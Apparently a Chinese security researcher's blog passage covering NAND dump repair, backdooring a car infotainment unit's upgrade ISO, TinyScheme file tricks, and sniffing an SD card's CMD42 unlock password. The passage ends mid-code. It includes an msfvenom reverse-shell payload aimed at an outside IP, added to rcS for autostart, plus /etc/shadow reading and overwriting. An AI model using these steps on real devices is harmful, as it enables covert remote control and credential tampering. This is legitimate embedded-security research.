这是修复NAND dump的脚本,我也忘了当时写了些啥东西
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77#!/usr/bin/env python3
import sys
import binascii
import struct
if len(sys.argv) < 3:
print("Usage: fuckftl.py ftl.bin raw.bin")
sys.exit(1)
def bin2hex(bin):
x = str(binascii.b2a_hex(bin), "utf-8")
return x
def hex2int(hex):
x = int('0x' + hex, 16)
return x
def get_hex_tens_place(num):
x = int((num / 0x10) % 0x10) * 0x10 + int((num / 1) % 0x10)
return x
def get_le_int16(be):
return struct.unpack("<H", be)[0]
proman_file_path = sys.argv[1]
raw_file_path = sys.argv[2]
nanddisk_path = sys.argv[3]
readable_block_addr = {}
try:
with open("sp_.bin", 'wb') as sp:
with open(proman_file_path, 'rb') as proman_file:
promanbin = proman_file.read()
proman_file.close()
with open(raw_file_path, 'wb') as raw_file:
for x in range(0, len(promanbin), 0x840):
pbuffer = promanbin[x:x+0x840]
page_a = pbuffer[:0x400]
page_b = pbuffer[0x415:0x800]
page_c = pbuffer[0x816:0x82B]
sparea_b = pbuffer[0x800:0x816]
if sparea_b[0:4] == b'\xFF\x42\x00\x00' or (sparea_b[0:4] == b'\xFF\x41\xFF\xFF' and sparea_b[6:8] == b'\x00\x00'):
x_addr = get_le_int16(sparea_b[4:6])
if x_addr in readable_block_addr:
cur_wl_version = get_le_int16(sparea_b[6:8])
if readable_block_addr[x_addr][1] > cur_wl_version:
readable_block_addr[x_addr] = [int(x / 0x840 * 0x800), get_le_int16(sparea_b[6:8])]
else:
readable_block_addr[x_addr] = [int(x / 0x840 * 0x800), get_le_int16(sparea_b[6:8])]
pbuffer = page_a + page_b + page_c
raw_file.write(pbuffer)
sp.write(sparea_b[:10])
raw_file.close()
sp.close()
except Exception as e:
print(e)
readable_block_addr_sorted = sorted(readable_block_addr.items(),key=lambda x:x[0])
with open(raw_file_path, 'rb') as raw_file:
rawbin = raw_file.read()
raw_file.close()
cur_index = -1
with open(nanddisk_path, 'wb') as nand_file:
for (k,v) in readable_block_addr_sorted:
if k<0xfff:
print("fix block {:x}, off {:x}".format(k, v[0]))
# print(hex(k))
skip = k-cur_index
if (skip) == 1:
nand_file.write(rawbin[v[0]:v[0]+0x20000])
cur_index = cur_index + skip
nand_file.close()
最终还原出固件,由于NAND位翻转特性,还需要使用Hanming ECC修复错误。另外因为该系统重启过多次,部分内容不一致,所以下图显示存在大量差异。
文件大小与类型都没有错误
还原出固件的大小与实际运行中的系统显示的496.6MiB匹配
打开其中的第二个分区,可以看到正常显示目录
但是由于位翻转,我估计肯定有一些文件是损坏的,因为时间限制,没有继续研究下去。
]]>固件目录如下,分为三个目录:APP、SOC、MCU。也就是应用、核心板、底板。APP用于升级导航地图和语音识别库数据,MCU目录用于更新MCU固件,包括底板和仪表。SOC目录用于升级核心板系统。version.txt用于验证版本。通过逆向升级程序,发现没有其他签名校验,但是篡改ISO无法升级,于是有了下文。
在Viston的iMX6平台,会存在一个“恢复分区”,专门用于升级系统。
首先修改启动设置,直接访问设备节点,让U-Boot下一次从分区2启动。
1
echo 2 > /sys/devices/soc0/soc.0/2100000.aips-bus/2198000.usdhc/mmc_host/mmc2/mmc2:0001/boot_config
启动之后,会格式化并挂载原系统分区。
1
2mkfs.ext3 -F /dev/mmcblk2p2
mount -t ext3 -o rw /dev/mmcblk2p2 /tmp/mmcblk2p12
随后挂载ISO镜像
1
/bin/mount -t iso9660 -o exec,loop /tmp/mnt/8644_8005_3BFD62ABB2EC3783_0/upgrade-ring.iso /tmp/isofs
将rootfs解压到目标分区
1
tar xvf /tmp/isofs/rootfs.tar -C /tmp/mmcblk2p12
生成ARMEB平台后门
1
2
3
4
5
6
7$ msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=206.189.68.130 LPORT=54444 -f elf -o linux_armle.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: armle from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 260 bytes
Final size of elf file: 344 bytes
Saved as: linux_armle.elf
添加开机自启动
1
echo "/bin/linux_armle.elf &" >> ./etc/init.d/rcS
注意事项,这里不能保留权限,否则会造成系统无法开启。
1
tar -cf ../rootfs.tar ./*
ISO-9660是CDROM的标准,定义了CDROM的文件结构。Joliet是ISO-9660的扩展,目前有三个等级,Level 1 与DOS兼容,Level 2支持长文件名,但不支持单个大于2GB的文件。Level 3支持单文件大小达到8TB。
UDF(Universal Disk Format)统一光盘格式,采用标准的封装写入技术(Packet Writing, PW),可以将CD-R当做硬盘,支持2GB以上大小文件。兼容性不如ISO 9660
为防止ISO损坏,在ISO文件的头部,有MD5数据,但是用UltraISO打包不会产生这种数据。首先查看ISO信息,可以看到使用ISO 9660 Joliet Level 3的标准.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17$ isoinfo -d -i upgrade-ring.raw.iso
CD-ROM is in ISO 9660 format
System id: LINUX
Volume id: CDROM
Volume set id:
Publisher id:
Data preparer id:
Application id: GENISOIMAGE ISO 9660/HFS FILESYSTEM CREATOR (C) 1993 E.YOUNGDALE (C) 1997-2006 J.PEARSON/J.SCHILLING (C) 2006-2007 CDRKIT TEAM
Copyright File id:
Abstract File id:
Bibliographic File id:
Volume set size is: 1
Volume set sequence number is: 1
Logical block size is: 2048
Volume size is: 488066
Joliet with UCS level 3 found
Rock Ridge signatures version 1 found
首先使用mkisofs打包ISO目录
1
2
3
4
5
6
7mkisofs -h
...
-J, -joliet 生成Joliet目录信息
-T, -translation-table 支持长文件名
...
mkisofs -J -T -v -o upgrade-ring.iso iso/
打包完ISO之后,使用implantisomd5植入MD5。
1
2
3
4
5
6
7$ implantisomd5 upgrade-ring.iso
Inserting md5sum into iso image...
md5 = e1914b1bf902a63244e3bb810823e6b2
Inserting fragment md5sums into iso image...
fragmd5 = 5126d7bcb6459898d56ca8822c5e7bdd45b15d5a9ed6c1f7351a55d18ae8
frags = 20
Setting supported flag to 0
最后校验合法性
1
2
3
4
5
6
7
8
9
10
11$ checkisomd5 upgrade-ring.iso
upgrade-ring.raw.iso: e1914b1bf902a63244e3bb810823e6b2
Fragment sums: 5126d7bcb6459898d56ca8822c5e7bdd45b15d5a9ed6c1f7351a55d18ae8
Fragment count: 20
Supported ISO: no
Press [Esc] to abort check.
Checking: 100.0%
The media check is complete, the result is: PASS.
It is OK to use this media.
Scheme 编程语言是一种Lisp方言,诞生于1975年,由 MIT 的 Gerald J. Sussman 和 Guy L. Steele Jr. 完成。它是现代两大Lisp方言之一;另一个方言是Common Lisp历史悠久的Scheme依然活跃,拥有针对各种计算机平台和环境的实现,例如Racket、Guile、MIT Scheme、Chez Scheme等。Tinyscheme是一款轻量级嵌入式的Scheme脚本解析器,使用R5RS(Revised 5 Report on the algorithmic language Scheme)语法规范,这个规范在1998年推出,现在已经被广泛使用。虽然Tinyscheme没有说明文档,但是使用R5RS规范,因此具体的用法可以参考其他主流Scheme实现,比如Racket
下载地址
1
https://sourceforge.net/projects/tinyscheme/files/tinyscheme/
1
2
3
4$ make all
$ ./scheme
TinyScheme 1.41
ts>
文件目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15.
├── BUILDING
├── CHANGES
├── COPYING
├── dynload.c
├── dynload.h
├── hack.txt
├── init.scm
├── makefile
├── Manual.txt
├── MiniSCHEMETribute.txt
├── opdefines.h 定义了tinyscheme的保留关键字,开发者可以自定义新的功能。
├── scheme.c 定义了如何解析代码
├── scheme.h
└── scheme-private.h
1
2
3
4# 打开文件
(define shadow (open-input-file "/etc/shadow"))
# 读取文件一行并显示
(read shadow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 打开文件
(define ou (open-output-file "/tmp/shadow"))
# 定义要写的内容到变量
(define text "root:aaddd.asdasd.:13333:0:99999:3:::")
# 打印变量
(display text)
# 把变量值写到文件
(write text ou)
# 把字符c写到文件
(write-char #\c ou)
# 在ou末尾新增一行
(newline ou)
# 保存并关闭文件
(close-output-port ou)
直接把字符串变量写到文件,会带双引号,因此使用字符逐个写入,一次写入大量字符可能会出现失败。另外如果是远程tinyscheme shell,单个换行字符\n不能被识别,因此使用\newline代替换行符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42#!/usr/bin/python3
import argparse
if __name__ == '__main__':
try:
parser = argparse.ArgumentParser(
description="Write file by tinyscheme")
parser.add_argument(
"-l", "--local-file", help="directory to be read", type=str, required=True)
parser.add_argument(
"-t", "--target-file", help="directory to be write", type=str, required=True)
args = parser.parse_args()
file_path = args.local_file
print("(define ou (open-output-file \"" + args.target_file + "\"))")
try:
with open(file_path, 'rb') as local_file:
raw = local_file.read()
for i in raw:
if i == 10:
# print("\n", end="")
print("(newline ou)")
else:
print("(write-char #\\", end="")
if i == 13:
print("\r", end="")
elif i == 9:
print("\t", end="")
elif i == 32:
print(" ", end="")
else:
print(chr(i), end="")
print(" ou)")
local_file.close()
except Exception as e:
print(e)
print("(newline ou)")
print("(close-output-port ou)")
except Exception as e:
print(e)
SD卡(Secure Digital Memory Card)是一种存储介质,基于NAND闪存技术,作为MMC(Multimedia Card)的替代。一般用于多媒体播放器,相机,手机,随后也大量用于IoT设备和汽车电子。根据SD卡尺寸,可以分为SD、miniSD、microSD。
SD卡的速度等级标准当前在用的有两种,一种是普通速度标记,另一种是UHS速度标记,不同速度标准对应的总线模式也不同。现在SD协会又出了新的速度等级标准:Video Speed Class,使用UHS总线。SD卡的容量也有标准,从SDSC到SDUC。
SD卡的参数可以在SD卡的贴纸或者丝印上看到。
而microSD卡原名是TF卡(Trans-flash Card),SD插槽兼容MMC卡,也可以通过飞线方式将eMMC接到SD插槽。
本文基于SD物理层简化规范第六版,主要研究解锁机制。
SDIO(Secure Digital Input Output)是由SD物理层规范修改而来,属于SD规范的扩展,除了支持SDIO规范的储存卡,还支持SDIO外围设备,例如WiFi模块、GPS模块、CMOS传感器模块等。
下面是MMC卡和SD卡引脚的对比
在不同的总线协议和传输模式下,这些引脚都负责不同的功能,本文主要研究SD模式的规范。在Type一栏,有如下定义:
Pin # | Name | Type | Description |
---|---|---|---|
1 | CD/DAT3 | I/O/PP | Card Detect/Data Line [Bit3] |
2 | CMD | I/O/PP | Command/Response |
3 | VSS1 | S | Supply voltage ground |
4 | VDD | S | Supply voltage |
5 | CLK | I | Clock |
6 | VSS2 | S | Supply voltage ground |
7 | DAT0 | I/O/PP | Data Line [Bit0] |
8 | DAT1 | I/O/PP | Data Line [Bit1] |
9 | DAT2 | I/O/PP | Data Line [Bit2] |
下面是我们要研究的SD卡,SDSC,刚好最大2GB,上面印着M2B9 2GB Made in Japan,网上不能搜索到这些信息。
再看SD主控芯片,56X31B002 AC00145R,无法搜索到。但是下面的存储芯片印有镁光Logo,在FBGA & Component Marking Decoder网站可以查询FPGA Code。是SLC NAND Flash,VBGA100封装,但是官网信息不太准确,只有16GB的版本。
OCR,CID,CSD,SCR携带了卡的特定信息,RCA和DSR储存着实际的配置参数,SSR和CSR则携带状态信息。因为规范制定者有强迫症,所以寄存器都是三位缩写,如果三位不能准确表达意思,就把R去掉。
Name | length(bit) | Description | Optional |
---|---|---|---|
CID | 128 | Card Identification Data,包括厂商ID、OEM ID、产品名、产品编号、生产日期以及校验和 | 必选 |
RCA | 16 | Relative Card Address,用于寻址,默认0x0000,SPI模式下不可用 | 必选 |
DSR | 16 | Driver Stage Register,用于改善总线性能 | 可选 |
CSD | 128 | Card Special Data,较为复杂,包含关于卡各种操作的条件信息:错误类型、最大数据访问时间、速率、DSR可用状态等 | 必选 |
SCR | 64 | SD Configuration Register,包含了SD卡支持的特性,规范版本 | 必选 |
OCR | 32 | Operation Condition Register,携带了当前电源信息 | 必选 |
SSR | 512 | SD Status Register,包含当前SD卡特性和应用特性的状态信息,如总线数据宽度、安全模式、SD卡类型、速度等 | 必选 |
CSR | 32 | Card Status Register,包含了当前卡执行命令的状态信息,体现在响应中,如上锁状态,错误信息等 | 必选 |
卡内带有上电检测电路,与主控接口和存储区接口相连,每个引脚和卡主控相连,主控通过存储接口对存储区进行操作。
而在SDIO规范中,定义了两种类型的SDIO卡:低速卡与高速卡,定义了SDIO卡的三种模式:
SD总线通信主要由CMD(Command Token, 操作命令)、DAT(Data, 数据)组成。CMD和DAT由不同的通道并行传输,CMD和Response走同一条通道,CMD来自Host(上位机),Response(响应)来自SD卡,Response只针对特定的CMD出现。
SD规定以块为单位进行读写操作,紧随着CMD后出现。每个数据块结尾带有CRC校验位。由终止操作由终止指令完成。
写过程会附带一个busy信号。
Command Token的长度是48-bit,起始位是0,传输位是1,表示来自Host的数据。Content携带了命令,地址信息以及参数。结尾带有7位的CRC(Cyclic Redundancy Check),结束位是0。因为这个特性,Response的首个字节比CMD的首个字节小0x40。
Response Token有四种场景,根据场景的不同采用不同的长度,分别是48-bit(R1,R3,R6),136-bit(R2)。传输位是0,表示来自SD卡的数据。
通常模式下,数据通过DAT[0-3]引脚传输。和CMD一样,起始位0,结束位1,带有CRC校验。总线宽度默认1-bit。
SD卡使用CRC7/MMC算法作为CMD的校验,公式如下将多项式转化为二进制G(x)
1
10001001
在数据帧M(x)后补上长度位divisor-1,就是7,使用模2除法,数据帧除以10001001得到CRC
SD卡使用CRC-16/CCITT-XMODEM算法作为Data的校验。宽总线模式下每行独立计算CRC,公式如下
将多项式转化为二进制G(x),第16位超出长度,忽略。
1
0001000000100001
SD卡总共有五种类型的响应,SDIO支持附加的响应类型R4,R5。除R3以外,响应包的结尾都有CRC校验。
R1的参数部分是32位,对应了卡的状态,由于版本迭代问题,规范里没有明确说是CSR,CSR寄存器也是后面定义的。R2直接返回CID或CSD的数据。R3返回OCR的数据。
SD卡的操作模式有两种种,默认是inactive:
UHS-II下和SD模式下,卡认证模式不同。
Command主要有两种类型————广播和寻址,具体细分有如下四种:
CMD5,CMD52-54是SDIO特有的模式
最高有效位(Most Significant Bit, MSB)在前,最低有效位(Least Significant Bit, LSB)在后。
有如下分类:
Class # | Name |
---|---|
0 | Basic Commands |
1 | Command and Queue Function Commands |
2 | Block Oriented Read Commands |
3 | Reversed |
4 | Block Oriented Write Commands |
5 | Erase Commands |
6 | Block Oriented Write Protection Commands |
7 | Lock Card |
8 | Application Specific Commands |
9 | I/O Mode Commands |
10 | Switch Function Commands |
11 | Function Extension Commands |
Class 7 锁卡相关命令有三个,其中CMD16设定块长度,用来设置密码。CMD42进行上锁/解锁操作。上锁状态的卡可以响应Class 0的命令.
在SDSC卡中,可通过SET_BLOCK_LEN来指定数据的块长度。而在SDHC和SDXC卡中,块长度固定为512bytes。
Application-Specific Commands是Commands的扩展,CMD55是触发ACMD的条件,ACMD41也就是CMD55接一个CMD41。
ACMD41是初始化命令,设定HCS(Host Capacity Support),决定SD卡的类型,电源控制以及电平。ACMD6是设置总线宽度,决定使用1-bit还是4-bits的Data传输。只有未解锁和传输状态才能使用ACMD6。
SD卡状态信息可以在R1类型的响应里看到,比如CMD13,SD卡有三种状态信息:
下面是每一位的类型定义:
E - Error bitS - Status bitR - Detected and set for the actual command responseX - Detected and set during command execution. 上位机可以通过执行命令的响应获得状态信息
还有状态位的清除条件:
A - According to the card current status.B - Always related to the previous command. 发送特定CMD来清除C - Clear by read.
R1响应携带卡状态信息,长度32-bit,储存在CSR。下面是CSR每一位的定义,预留位已经省略。
Bits | Identifier | Type | Value | Description | Clear Condition |
---|---|---|---|---|---|
31 | OUT_OF_RANGE | E R X | '0'= no error<br/>'1'= error | The command's argument was out of the allowed range for this card. | C |
30 | ADDRESS_ERROR | E R X | '0'= no error<br/>'1'= error | A misaligned address which did not match the block length was used in the command. | C |
29 | BLOCK_LEN_ERROR | E R X | '0'= no error<br/>'1'= error | The transferred block length is not allowed for this card, or the number of transferred bytes does not match the block length. | C |
28 | ERASE_SEQ_ERROR | E R | '0'= no error<br/>'1'= error | An error in the sequence of erasecommands occurred. | C |
27 | ERASE_PARAM | E R X | '0'= no error<br/>'1'= error | An invalid selection of write-blocksfor erase occurred. | C |
26 | WP_VIOLATION | E R X | '0'= no protected<br/>'1'= protected | Set when the host attempts to writeto a protected block or to the temporary or permanent write protected card. | C |
25 | CARD_IS_LOCKED | S X | '0'= card unlocked<br/>'1'= card locked | When set, signals that the card is locked by the host. | A |
24 | LOCK_UNLOCK_FAILED | E R X | '0'= no error<br/>'1'= error | Set when a sequence or passworderror has been detected in lock/unlock card command. | C |
23 | COM_CRC_ERROR | E R | '0'= no error<br/>'1'= error | The CRC check of the previous command failed. | B |
22 | ILLEGAL_COMMAND | E R | '0'= no error<br/>'1'= error | Command not legal for the cardstate | B |
21 | CARD_ECC_FAILED | E R X | '0'= no error<br/>'1'= error | Card internal ECC was applied butfailed to correct the data. | C |
20 | CC_ERROR | E R X | '0'= no error<br/>'1'= error | Internal card controller error. | C |
19 | ERROR | E R X | '0'= no error<br/>'1'= error | A general or an unknown error occurred during the operation. | C |
16 | CSD_OVERWRITE | E R X | '0'= no error<br/>'1'= error | Can be either one of the following errors: <br/>- The read only section of the CSD does not match the card content. <br/>- An attempt to reverse the copy (set as original) or permanent WP (unprotected) bits was made. | C |
15 | WP_ERASE_SKIP | E R X | '0'= no protected<br/>'1'= protected | Set when only partial address space was erased due to existing write protected blocks or the temporary or permanent write protected card was erased. | C |
14 | CARD_ECC_DISABLED | S X | '0'= enabled<br/>'1'= disabled | The command has been executed without using the internal ECC. | A |
13 | ERASE_RESET | S R | '0'= cleared<br/>'1'= set | An erase sequence was cleared before executing because an out of erase sequence command was received. | C |
12:9 | CURRENT_STATE | S X | 0 = idle<br/>1 = ready<br/>2 = ident<br/>3 = stby<br/>4 = tran<br/>5 = data<br/>6 = rcv<br/>7 = prg<br/>8 = dis<br/>9-14 = reserved<br/>15 = reserved for<br/>I/O mode | The state of the card when receiving the command. If the command execution causes a state change, it will be visible to the host in the response to the next command.<br/> The four bits are interpreted as a binary coded number between 0 and 15. | B |
8 | READY_FOR_DATA | S X | '0'= not ready<br/>'1'= ready | Corresponds to buffer empty signaling on the bus. | A |
6 | FX_EVENT | S X | '0'= No event<br/>'1'= Event invoked | Extension Functions may set this bit to get host to deal with events. | A |
5 | APP_CMD | S R | '0'= enabled<br/>'1'= disabled | The card will expect ACMD, or an indication that the command has been interpreted as ACMD. | C |
3 | AKE_SEQ_ERROR(SD Memory Card app. spec.) | E R | '0'= no error<br/>'1'= error | Error in the sequence of the authentication process. | C |
12:9是4位长度,转成10进制,对应着卡的操作阶段
等长布线(wiring length maching)是PCB设计领域的术语,一般用于高速IO,比如DDR。飞线尽量使用等长线,控制时钟线与其他信号线之间的距离,这也是SD卡厂商对于PCB设计的要求。
实际上SD高速模式下也就20MHz,是否使用等长线对数据的影响不大。最关键的还是逻辑分析仪的采样率,一开始使用100MHz采样率的逻辑分析仪经常乱码,后来换成500MHz采样率的LA5016就能正常使用。
选择采样率和时间,另外选择电平。选择SDIO以及时钟上升沿(rising edge)触发。这样就能得到准确的逻辑电平。如下图,当上升沿对应的数据为0。
解锁的会话只在一次上电中生效,下一次上电时SD卡会自动回到上锁状态。解锁过程首先使用CMD7选择卡,如果设置了FEP,那么需要解锁COP。然后使用CMD16设置所需块长度,8-bit解锁操作 + 8-bit密码长度 + 实际密码的长度,最后发送CMD42解锁。
CMD42用于解锁设备,有V1.0和V2.0两个版本。解锁方式也有两种,一种是使用强制擦除密码(Force Erase Password, FEP),另一种是使用密码解锁。只有COP(Card Ownership Protection)特性的SD卡,才带有非易失性的FEP寄存器。COP特性是SD规范6.0中新加的,市面上几乎很少有COP特性的SD卡。根据CMD的格式,01代表CMD请求,101010代表42,推断出01101010是CMD42的第一个字节,也就是6A。CMD42的参数前4个bit应该是0,CSR的对应状态位bit-25应该由1变为0,bit-24为0。
通过逻辑分析仪解析上位机和SD卡之间的通信数据,得到了下面的报文,Command Index,Arguments,CRC7都符合前面的定义。
1
6A 00 00 00 00 51
最后一个字节51可以通过CRC7校验
本文研究的目标设备较老,不支持COP,解锁上锁位的0代表解锁操作,1代表上锁。最后使用CMD42,因此CMD42的操作参数是00000000,也就是CMD42[00h]
CMD42的Data部分,第一个字节描述了具体的操作,前三位预留,一般置0,第四位表示COP特性,在解锁过程中,后面四位都应该是0。第二个字节表示Password Length区间为8-bit,单位是byte。因此password最大长度是128-bytes,因此密码长度最大16字节,从第三位开始都是密码数据,最后带上16位的CRC。
CMD7的地址随机
1
2
3
4
5
6
7
8
947 4B 47 00 00 6F
[47:41] 01000111 start bit + Command index
[40:32] 01001011 RCA 4B
[31:24] 01000111 RCA 47
[23:16] 00000000 stuff bits
[15:8] 00000000
[7:0] 01101111 CRC7 + end bit
07 02 00 07 00 79
CMD16命令如下, 倒数第二行便是参数SET_BLOCKLEN,设置块长度,必须是偶数长度。响应类型是R1,0b00010010的十进制为18,也就是2字节的参数加上16-bytes密码
1
2
3
4
5
6
750 00 00 00 12 2F
[47:41] 01010000 start bit + Command index
[40:32] 00000000
[31:24] 00000000
[23:16] 00000000
[15:8] 00010010 SET_BLOCKLEN
[7:0] 00101111 CRC7 + end bit
CMD16的响应
1
2
3
4
5
6
710 02 00 09 00 07
[47:41] 00010000 start bit + Command index
[40:32] 00000010 Card Status
[31:24] 00000000 Card Status
[23:16] 00001001 Card Status
[15:8] 00000000 Card Status
[7:0] 00000111 CRC7 + end bit
CMD42响应的第一个字节为00101010也就是2A。响应类型是R1。
在逻辑分析仪抓取到了CMD42的响应
将Parameter字段转换成二进制,根据CSR定义,下面返回的状态是未解锁,ready,tran模式
1
2
3
4
5
6
72a 02 00 09 00 6f
[47:41] 00010000 start bit + Command index
[40:32] 00000010 Card Status Locked
[31:24] 00000000 Card Status
[23:16] 00001001 Card Status
[15:8] 00000000 Card Status
[7:0] 00000111 CRC7 + end bit
当CMD42的Data发送完成,再发送CMD13,根据CSR定义,下面返回的状态是已解锁,ready,tran模式,APP_CMD关闭
1
2
3
4
5
6
70D 00 00 09 00 07
[47:41] 00010000 start bit + Command index
[40:32] 00000000 Card Status Unlocked
[31:24] 00000000 Card Status
[23:16] 00001001 Card Status
[15:8] 00000000 Card Status
[7:0] 01101111 CRC7 + end bit
在KingstVIS找到Data0的信道,在CMD42后面对齐上升沿截取区间,导出时钟信道和Data0信道为TXT。
最后导出的数据实际上还是csv。在KingstVIS里选择CSV导出则为倒序,所以才选择TXT格式。这里字符编码是ANSI,在Linux下会乱码,所以把Title删除。
通过下面的脚本,可以将Data0数据打印成可读数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import csv
import sys
import getopt
import binascii
def parse_csv(csv_file):
try:
with open(csv_file, 'r') as f:
reader = csv.reader(f)
last_ch0_v = 0
bits = []
for line in reader:
current_ch0_v = int(line[1])
if (current_ch0_v ^ last_ch0_v) and last_ch0_v == 0:
bits.append(str(int(line[2])))
last_ch0_v = current_ch0_v
return bits
except Exception as e:
print(e)
def crc16_calc(data):
crc = 0x0000
poly = 0x1021
for b in data:
cur_byte = 0xFF & b
for i in range(0, 8):
bit = ((cur_byte >> (7-i) & 1) == 1)
c15 = ((crc >> 15 & 1) == 1)
crc <<= 1
if (c15 ^ bit):
crc ^= poly
return crc & 0xFFFF
if __name__ == '__main__':
if len(sys.argv) < 3:
usage()
try:
options, args = getopt.getopt(sys.argv[1:], "f:o")
csv_file = ''
output_file = ''
for opt, arg in options:
if opt == '-f':
csv_file = arg
elif opt == '-o':
output_file = arg
bits = parse_csv(csv_file)
remainder = len(bits) % 8
bits = bits[0:len(bits) - remainder]
keys_list = []
crc_data = []
keys_len = 0
# 去掉Data的第一位标志位
if bits[0] == '0':
bits = bits[1:]
for i in range(0, len(bits), 8):
byte = bits[i] + bits[i+1] + bits[i+2] + bits[i+3] + \
bits[i+4] + bits[i+5] + bits[i+6] + bits[i+7]
n = i/8
if n == 0 :
if int(byte, 2) == 0:
keys_list.append(int(byte, 2))
else:
print("CMD42 data block parameters error.")
exit()
elif n == 1:
keys_len = int(byte, 2)
keys_list.append(keys_len)
print("Keys length: " + str(keys_len) + "-bytes")
elif n > 1 and n <= (keys_len + 1):
keys_list.append(int(byte, 2))
elif (keys_len + 2) <= n <= (keys_len + 3):
crc_data.append(int(byte, 2))
else:
if (crc_data[0]*16*16 + crc_data[1]) == crc16_calc(keys_list):
x = bytearray(keys_list[2:keys_len+2])
print("Key:", str(binascii.b2a_hex(x))[2:(keys_len+1)*2])
print("CRC:", hex(crc16_calc(keys_list)))
print("\nAnalyse compeleted!")
else:
print("CRC error!")
exit()
else:
print("Data Error")
except Exception as e:
print(e)
usage()
def usage():
print("Usage:python kinstvis_sdio_parser.py -f test.csv")
去掉第一位起始位,解析CMD42 Data结构,再进行CRC校验,校验成功。
密码如下
1
5ffca19ffcdb5899a82c4e265f99c76b
下一步是写SD解锁工具,镁光的官方文档提供了添加上锁解锁功能的Demo,通过修改mmc-utils可以实现解锁。
1
git clone git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git
mmc-utils/mmc.h
1
2
3
4
5
6
7
8
9
10
11
12
mmc-utils/mmc.c
1
2
3
4
5
6
7
8
9{do_lock_unlock, -3,
"cmd42", "<password> <s|c|l|u|e> <device>\n"
"s\tset password\n"
"c\tclear password\n"
"l\tlock\n"
"sl\tset password and lock\n"
"u\tunlock\n"
"e\tforce erase\n",
NULL},
mmc-utils/mmc_cmds.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124//lock/unlock feature implementation
int do_lock_unlock(int nargs, char **argv)
{
int fd, ret = 0;
char *device;
__u8 data_block[MMC_BLOCK_SIZE] = {0};
__u8 data_block_onebyte[1] = {0};
int block_size = 0;
struct mmc_ioc_cmd idata;
int cmd42_para; //parameter of cmd42
char pwd[MAX_PWD_LENGTH + 1]; //password
int pwd_len; //password length
__u32 r1_response; //R1 response token
if (nargs != 4)
{
fprintf(stderr, "Usage: mmc cmd42 <password> <s|c|l|u|e> <device> \n");
exit(1);
}
strcpy(pwd, argv[1]);
pwd_len = strlen(pwd);
if (!strcmp("s", argv[2]))
{
cmd42_para = MMC_CMD42_SET_PWD;
printf("Set password: password=%s ...\n", pwd);
}
else if (!strcmp("c", argv[2]))
{
cmd42_para = MMC_CMD42_CLR_PWD;
printf("Clear password: password=%s ...\n", pwd);
}
else if (!strcmp("l", argv[2]))
{
cmd42_para = MMC_CMD42_LOCK;
printf("Lock the card: password=%s ...\n", pwd);
}
else if (!strcmp("sl", argv[2]))
{
cmd42_para = MMC_CMD42_SET_LOCK;
printf("Set password and lock the card: password - %s ...\n", pwd);
}
else if (!strcmp("u", argv[2]))
{
cmd42_para = MMC_CMD42_UNLOCK;
printf("Unlock the card: password=%s ...\n", pwd);
}
else if (!strcmp("e", argv[2]))
{
cmd42_para = MMC_CMD42_ERASE;
printf("Force erase ... (Warning: all card data will be erased together with PWD!)\n");
}
else
{
printf("Invalid parameter:\n"
"s\tset password\n"
"c\tclear password\n"
"l\tlock\n"
"sl\tset password and lock\n"
"u\tunlock\n"
"e\tforce erase\n");
exit(1);
}
device = argv[nargs - 1];
fd = open(device, O_RDWR);
if (fd < 0)
{
perror("open");
exit(1);
}
if (cmd42_para == MMC_CMD42_ERASE)
block_size = 2; //set blk size to 2-byte for Force Erase @DDR50 compability
else block_size = MMC_BLOCK_SIZE;
ret = set_block_len(fd, block_size); //set data block size prior to cmd42
printf("Set to data block length = %d byte(s).\n", block_size);
if (cmd42_para == MMC_CMD42_ERASE)
{
data_block_onebyte[0] = cmd42_para;
}
else
{
data_block[0] = cmd42_para;
data_block[1] = pwd_len;
memcpy((char *)(data_block + 2), pwd, pwd_len);
}
memset(&idata, 0, sizeof(idata));
idata.write_flag = 1;
idata.opcode = MMC_LOCK_UNLOCK;
idata.arg = 0; //set all 0 for cmd42 arg
idata.flags = MMC_RSP_R1 | MMC_CMD_AC | MMC_CMD_ADTC;
idata.blksz = block_size;
idata.blocks = 1;
if (cmd42_para == MMC_CMD42_ERASE)
mmc_ioc_cmd_set_data(idata, data_block_onebyte);
else
mmc_ioc_cmd_set_data(idata, data_block);
ret = ioctl(fd, MMC_IOC_CMD, &idata); //Issue CMD42
r1_response = idata.response[0];
printf("cmd42 response: 0x%08x\n", r1_response);
if (r1_response & MMC_R1_ERROR)
{ //check CMD42 error
printf("cmd42 error! Error code: 0x%08x\n", r1_response & MMC_R1_ERROR);
ret = -1;
}
if (r1_response & MMC_R1_LOCK_ULOCK_FAIL)
{
//check lock/unlock error
printf("Card lock/unlock fail! Error code: 0x%08x\n", r1_response & MMC_R1_LOCK_ULOCK_FAIL);
ret = -1;
}
close(fd);
return ret;
}
//change data block length
int set_block_len(int fd, int blk_len)
{
int ret = 0;
